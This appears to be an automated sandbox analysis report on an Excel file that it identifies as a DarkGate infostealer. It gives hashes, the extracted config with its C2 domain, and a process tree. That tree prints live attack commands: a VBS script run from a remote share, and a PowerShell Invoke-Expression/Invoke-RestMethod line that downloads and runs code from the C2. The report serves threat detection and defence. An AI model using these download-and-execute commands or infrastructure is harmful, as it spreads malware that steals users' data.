Analysis

  • max time kernel
    299s
  • max time network
    303s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-03-2024 17:55

General

  • Target

    march19-D7526-2024.xlsx

  • Size

    56KB

  • MD5

    73adc9b2f25226f214f91ec8c2d413a8

  • SHA1

    39f8eab6c1d56fff2b3e6eddf56d8d544ccae9ae

  • SHA256

    a61448b1210aaaa33e398b1500701942ee2f4feb348420d628cc9d66974dfc31

  • SHA512

    2169548500a7364c53f7180ada02ecdc85601d7b743b5b40ce9ba330e6fa296489594fc02a443c18bb0381aa100892b791affe02319f89ba1cc3a8c55f37a53f

  • SSDEEP

    1536:Fkws9oLE3Ow6DyPgMUti9xx7bxNfI5ydaRLgIui3pqDyBROnlTF:FSoEOfEgMNdxI5yYhgu5zBRYx

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

badbutperfect.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    WZqqpfdY

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\march19-D7526-2024.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5236
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5528
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/rimz
          4⤵
          • Views/modifies file attributes
          PID:1160
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2076
        • C:\rimz\AutoHotkey.exe
          "C:\rimz\AutoHotkey.exe" script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:2264
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/rimz
          4⤵
          • Views/modifies file attributes
          PID:4984
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:5232

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      56c43715e0e7fa58012d8a5769d8d568

      SHA1

      4370ca3436f2e3a95b47a728503a2c22a5a5fa39

      SHA256

      8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5

      SHA512

      b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      4906df08e7c6256d493c5d63ec475316

      SHA1

      91cddea276ddbd049b8e12d66e7fb25477acde76

      SHA256

      1d43810f94dcb8ecc79b461664289a8adc95550d67ed6f426fd6b86623b3e259

      SHA512

      0c110431e7368aa4b90fe762f073efaeaa948a471a2292058d72e140a408ad5bd0c9e845ce4060f97dba7f29eb899e6cf9b163b02544928dcb804c588d57d69c

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aqsgkylf.qu1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\rimz\AutoHotkey.exe

      Filesize

      558KB

      MD5

      9c07463d836dbac6fde1de78052cfd22

      SHA1

      d2c14d79cd002d6b1c159d9e665d2cfa501f9568

      SHA256

      e7f2d87766e22baee7bb11b9496bce6d525921377f730c19e2637a60c27dda98

      SHA512

      2f8d6dfa92f993d8860f6113122ce35fd04080c9c0fc0d3ff02a9511325c9aee1f36f144d19ac41b5ee5306c1462bbe01828c62f6e4989a98ee3f42ed891df13

    • C:\rimz\AutoHotkey.exe

      Filesize

      892KB

      MD5

      a59a2d3e5dda7aca6ec879263aa42fd3

      SHA1

      312d496ec90eb30d5319307d47bfef602b6b8c6c

      SHA256

      897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

      SHA512

      852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

    • C:\rimz\script.ahk

      Filesize

      54KB

      MD5

      f02f0bba1f1f678da41abafd02f4c545

      SHA1

      c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452

      SHA256

      5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572

      SHA512

      8b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22

    • C:\rimz\test.txt

      Filesize

      915KB

      MD5

      4e1b052f107d2ee5321b44fc0e107638

      SHA1

      679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4

      SHA256

      a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489

      SHA512

      5c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1

    • memory/2076-94-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2076-79-0x000001C856E60000-0x000001C856E70000-memory.dmp

      Filesize

      64KB

    • memory/2076-78-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2076-57-0x000001C856E60000-0x000001C856E70000-memory.dmp

      Filesize

      64KB

    • memory/2076-56-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2264-96-0x0000000003180000-0x00000000031F3000-memory.dmp

      Filesize

      460KB

    • memory/2264-98-0x0000000003180000-0x00000000031F3000-memory.dmp

      Filesize

      460KB

    • memory/5236-11-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-10-0x00007FFC99710000-0x00007FFC99720000-memory.dmp

      Filesize

      64KB

    • memory/5236-15-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-19-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-18-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-20-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-22-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-23-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-21-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-36-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-4-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-16-0x00007FFC99710000-0x00007FFC99720000-memory.dmp

      Filesize

      64KB

    • memory/5236-3-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

      Filesize

      64KB

    • memory/5236-1-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

      Filesize

      64KB

    • memory/5236-6-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-5-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

      Filesize

      64KB

    • memory/5236-14-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-13-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-12-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-2-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

      Filesize

      64KB

    • memory/5236-7-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-8-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-17-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-9-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

      Filesize

      2.0MB

    • memory/5236-0-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

      Filesize

      64KB

    • memory/5528-73-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

      Filesize

      10.8MB

    • memory/5528-70-0x000001CA75390000-0x000001CA753A0000-memory.dmp

      Filesize

      64KB

    • memory/5528-50-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

      Filesize

      10.8MB

    • memory/5528-49-0x000001CA761C0000-0x000001CA76382000-memory.dmp

      Filesize

      1.8MB

    • memory/5528-48-0x000001CA75390000-0x000001CA753A0000-memory.dmp

      Filesize

      64KB

    • memory/5528-47-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

      Filesize

      10.8MB

    • memory/5528-37-0x000001CA758D0000-0x000001CA758F2000-memory.dmp

      Filesize

      136KB